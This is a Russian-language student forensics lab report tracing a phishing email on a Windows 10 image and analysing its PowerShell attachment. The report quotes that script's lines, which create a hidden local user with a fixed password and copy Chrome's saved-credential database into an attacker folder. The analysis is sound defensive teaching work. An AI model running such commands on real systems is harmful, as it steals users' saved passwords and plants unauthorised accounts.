# Лабораторная работа №2 - Расследование кибер-инцидентов
:::info
Выполнил: Стенькин Даниил Сергеевич БСБО-04-19
:::
Входные данные: образ диска Windows 10, пользователь которого подвергся фишинговой атаке через электронную почту и потерял аккаунты, сохранённые в бразуере.
Задание:
1. Обнаружить фишинговое письмо.
2. Обнаружить вредоносный код и проанализировать его действие.
3. Выявить, какие данные были скомпрометированы.
## Обнаружение фишингового письма
Расследование я начал с изучения истории в браузере:

Первым делом меня интересовал вопрос, на какую почту пришло фишинговое письмо - среди почтовых сервисов из истории мы видим:
1. Временную почту
2. Почту от google
3. Почту от Yandex
К временной почте получить доступ не суждено, а в почты от Google и Yandex не совершен вход, в браузере не сохранены пароли для них, на ПК каких-либо кредов для этих почт нет.
Остаётся только проверить, есть ли в системе какие-либо почтовые клиенты или учетные записи. В поиске Windows я пишу "Почта" и открываю пункт "Электронная почта и учетные записи", где видно, что в системе есть учетная запись Майкрософт alexmireaforensic_lab2@outlook.com.

В неё уже совершен вход, поэтому достаточно открыть Outlook и посмотреть что внутри:

**Очевидно, это и есть фишинговое письмо.**
## Обнаружить вредоносный код и проанализировать его действие.
Перед тем, как открыть приложенный к письму документ, можно сразу понять что он из себя представляет - к примеру, название "POSHE" уже намекает, что это нечто связанное с Windows PowerShell, а указание переименовать расширение в .ps1 ясно даёт нам понять что мы будем иметь дело с PowerShell-скриптом.
Рассмотрим построчно содержимое документа, приложенного к письму

Сначала создается переменная с паролем.
```powershell=
$PASSWORD= ConvertTo-SecureString -AsPlainText -Force -String Qq123456
```
Используется командлет ConvertTo-SecureString, который преобразует обычный текст в защищенные строки.
> SecureString — это текстовый объект, подобный обычной строке, но он хранится в памяти в зашифрованном виде.
Защищенная строка может использоваться с командлетами или функциями, которые требует параметра типа SecureString.
Например, с помощью New-LocalUser можно создать локального пользователя в системе, что и сделал злоумышленник:
```powershell=2
New-LocalUser -Name "WildRusHacker" -Password $PASSWORD
```
После создания локального пользователя с именем WildRusHacker, злоумышленник хотел создать новую папку в Program Files. Параметр ItemType позволяет создать директорию (а не файл) по указанному пути.
```powershell=3
New-Item -Path 'C:\Program Files\WildRusHackerFolder' -ItemType Directory
```
После этого, злоумышленник планировал скопировать файл Login Data, который хранит все креды, сохраненные в браузере Chrome, в свою папку, создание которой происходит в предыдущей строке:
```powershell=4
Copy-Item -Path "C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data" -Destination "C:\Program Files\WildRusHackerFolder\Login Data"
```
## Выявить, какие данные были скомпрометированы.
Скомпрометированные данные, как мы выяснили из анализа вредоносного кода - это файл Login Data, содержащий креды из Chrome. Если открыть его через блокнот, выглядит он следующим образом:

> Этот файл представляет собой базу данных SQLite. Среди колонок есть ссылка на сайт, логин, и пароль. Пароль зашифрован: в его поле - байтовый массив. Chrome шифрует пароль с учетом устройства, поэтому чтобы расшифровать пароль, злоумышленнику придется воспользоваться средствами SQLite или каким-нибудь Python-скриптом.
Мы уже находимся в системе, в которой все эти данные были созданы, и поэтому Chrome их спокойно расшифрует для нас и представит в удобном виде - достаточно зайти в Настройки-Автозаполнение-Пароли:
